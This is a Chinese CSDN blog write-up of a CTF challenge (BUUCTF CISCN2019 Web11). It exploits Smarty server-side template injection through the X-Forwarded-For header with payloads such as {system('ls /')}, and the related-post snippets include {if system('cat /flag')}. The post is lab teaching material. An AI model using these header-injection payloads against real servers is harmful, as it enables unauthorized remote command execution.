buuctf | CISCN2019华东南web11

最新推荐文章于 2023-09-19 16:54:24 发布
最新推荐文章于 2023-09-19 16:54:24 发布
阅读量113 收藏 2
点赞数 1
分类专栏： ctf SSTI服务器端模板注入漏洞 文章标签： web安全 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43891732/article/details/129382254
版权

buuctf | CISCN2019华东南web11

SSTI服务器端模板注入(Smarty模块)

打开
在这里插入图片描述
index

右上角的ip，判断可能是 XFF或client-ip控制的，下面的 “Build With Smarty !”，猜测可能存在Smarty模块类型的SSTI注入

burp抓包重放，添加行

X-Forwarded-For: {{7*7}}

抓包重放

存在SSTI漏洞

X-Forwarded-For: {system('ls /')}

ls /

得到flag

flag{34a8a3b3-fc8c-471b-b5cb-8782a05718e3}

flag

空山松子_
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
BUUCTF—ciscn_2019_n_1 1
qq_41560595的博客
09-24 4269
这道题是栈溢出题型，又不同于一般的栈溢出，在此做个总结。 查看权限 拖入IDA，F5可用函数 解题思路：这道题的意思是输入字符串v1，判断v2。考虑输入长字符串覆盖到存储v2的内存空间，把v2的值改掉。 因此，覆盖0x30-0x4=44个字节给v1，另外4个字节给v2 由于v2数值在内存中以16进制存储，所以，找到11.28125的16进制值。 存在两个比较指令，双击进去。 0x41348000就是16进制的11.28125。 编写脚本 from pwn import * p=remote('
Double ciscn 2019 第十二届全国大学生信息安全竞赛
04-22
pwn赛题之Double ciscn 2019 第十二届全国大学生信息安全竞赛
BUUCTF刷题之路-ciscn_2019_n_11
qq_30528603的博客
05-27 173
非常简单的逻辑，类似于一个猜数字游戏，猜对了弹出flag，失败了还贴心的告诉你可能值。我们要做的就是修改v2变量的内容，让他等于11.28125。这次我们不需要覆盖返回地址只需要改v2的值就好了。接着我们算一下偏移【rbp-30h-rbp+4h】得到偏移为44个字节。意思就是说我们在44个字节之后填入11.28125覆盖v2的值就能使if语句成立。题目只开启了堆栈不可执行。无非就是不能在栈上执行shellcode无伤大雅。
【BUUCTF - PWN】ciscn_2019_n_1
古月浪子的博客
03-19 3566
checksec一下 IDA打开，发现如果满足的条件达成，就能get flag 找到栈溢出漏洞，输入可以覆盖到v2 写代码把11.28125在内存中的十六进制表示出来 from pwn import * from LibcSearcher import * context.os='linux' context.arch='amd64' context.log_level='debug' ...
[CISCN2019 华东南赛区]Web11
夜幕下的灯火阑珊的博客
05-16 16
知识点 SSTI smarty 题目给了提示，BuildWithSmarty 看到有X-Forwarded-For，抓包添加 X-Forwarded-For: 127.0.0.1 发现CurrentIP被修改成我们输入的值 上SSTI图 测试一下是否是smarty X-Forwarded-For: 7{*comment*}7 正常返回77，说明确实是smarty，上sm...
华东师范大学2019计算机考研839试卷及答案（2019年839回忆版）
01-07
华东师范大学2019计算机考研839试卷及答案
华东师范大学2019 839.docx
06-25
华东师范大学计算机技术（085211）839 2019年真题回忆版以及答案
华东交通大学2013-2019年数据结构.pdf
10-25
华东交通大学2013-2019年数据结构.pdf
华东师范大学2019年毕业生就业质量报告.pdf
04-12
华东师范大学2019年毕业生就业质量报告.pdf
[CISCN2019 华东南赛区]Web11 1
weixin_53150482的博客
07-21 233
[CISCN2019 华东南赛区]Web11 1
BUUCTF [CISCN2019 华东南赛区] Web11
Senimo
12-23 627
BUUCTF [CISCN2019 华东南赛区] Web11 考点： 根据页面提示，应该是一个类似IP查询的网站，根据**XXF（X-Forwarded-For）**判断
BUUCTF之[CISCN2019 华东南赛区]Web11 ------ SSTI注入
weixin_44632787的博客
06-23 1501
BUUCTF之[CISCN2019 华东南赛区]Web11 知识点 SSTI smarty X-Forwarded-For 题目 于是开始BurpSuite抓包和添加X-Forwarded-For:127.0.0.1 emmmmmm其实一开始添加完这个就不知道怎么做了，后来去看了别人的WP有提示SSTI和smarty这两个词。心想，这个不是最近才做过类似的题目嘛。。。哎！我居然没想到！ 所以开始尝试一下：X-Forwarded-For:{7*8} 获取当前目录有那些文件：X-Forwarded-F
[CISCN2019 华东南赛区]Web11 wp
m0_55185160的博客
03-25 3050
打开题目看到X-Forwarded-For，便想到利用burpsuite，修改X-Forwarded-For 看到确实有回显，还可以看到Build With Smarty !这时想到在学flask ssti中学习到ssti中也有smarty的ssti。 发现在current ip：56说明存在ssti，在利用7{*comment*}7测试一下是否是smarty 然后就可以利用smarty的ssti方式进行命令执行了 payload：{if system('cat /flag')}{/..
NO.2-29 [CISCN2019 华东南赛区]Web11
nigo134的博客
08-03 308
BUUCTF之[CISCN2019 华东南赛区]Web11 知识点 SSTI smarty X-Forwarded-For 题目 于是开始BurpSuite抓包和添加X-Forwarded-For:127.0.0.1 emmmmmm其实一开始添加完这个就不知道怎么做了，后来去看了别人的WP有提示SSTI和smarty这两个词。心想，这个不是最近才做过类似的题目嘛。。。哎！我居然没想到！ 所以开始尝试一下：X-Forwarded-For:{7*8} 获取当前目录有那些文件：X-Forwarded-.
[CISCN2019 华东南赛区]Web11 SSTI
m0_64180167的博客
09-19 95
这道SSTI 差点给我渗透的感觉了 全是API 我还想去访问API看看。发现成功了 是受控的 这里我就开始没有思路了。欸 那我们可不可以直接修改参数呢。没有东西 我们看看还有什么提示。于是看了wp 说是ssti。发现这里读取了我们的ip。我们抓包看看是如何做到的。
[CISCN 2019华东南]Web11和[鹏城杯 2022]简单包含
m0_73700261的博客
04-24 173
这里的突破口在&&如果满足前边的条件了那后边就不会执行就直接进入if。所以就是我们需要传参一个要大于800个字的东西接着就能输出flag。题目打开是一个这么个界面，里边提到了一个xff的头。试着传参一个带filter协议的payload。简单来说就是需要传参一个带协议的payload。解码发现是一串代码里边是想要输出flag的条件。接着就会include你想要的文件。先使用{{7*7}}来测试一波。发现回显一段base64的代码。打开来是个蛮简单的源代码。下边还有一个这么的提示。这里过滤了一个flag。
[CISCN 2019华东南]Web11 和[NISACTF 2022]midlevel
Leaf_initial的博客
04-27 298
Smarty是基于PHP开发的，对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。了解过Jinjia2模板注入的同学应该知道，jinjia2是基于python的，而Smarty是基于PHP的，所以理解起来还是很容易，我们只需要达到命令执行就可以了。
2024华东杯数学建模
最新发布
05-03
2024华东杯数学建模是一项面向大学生的数学建模竞赛活动，旨在培养学生的数学建模能力和团队合作精神。该比赛通常由华东地区的高校或研究机构主办，参赛队伍来自各个大学。 在比赛中，参赛队伍需要根据给定的实际...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值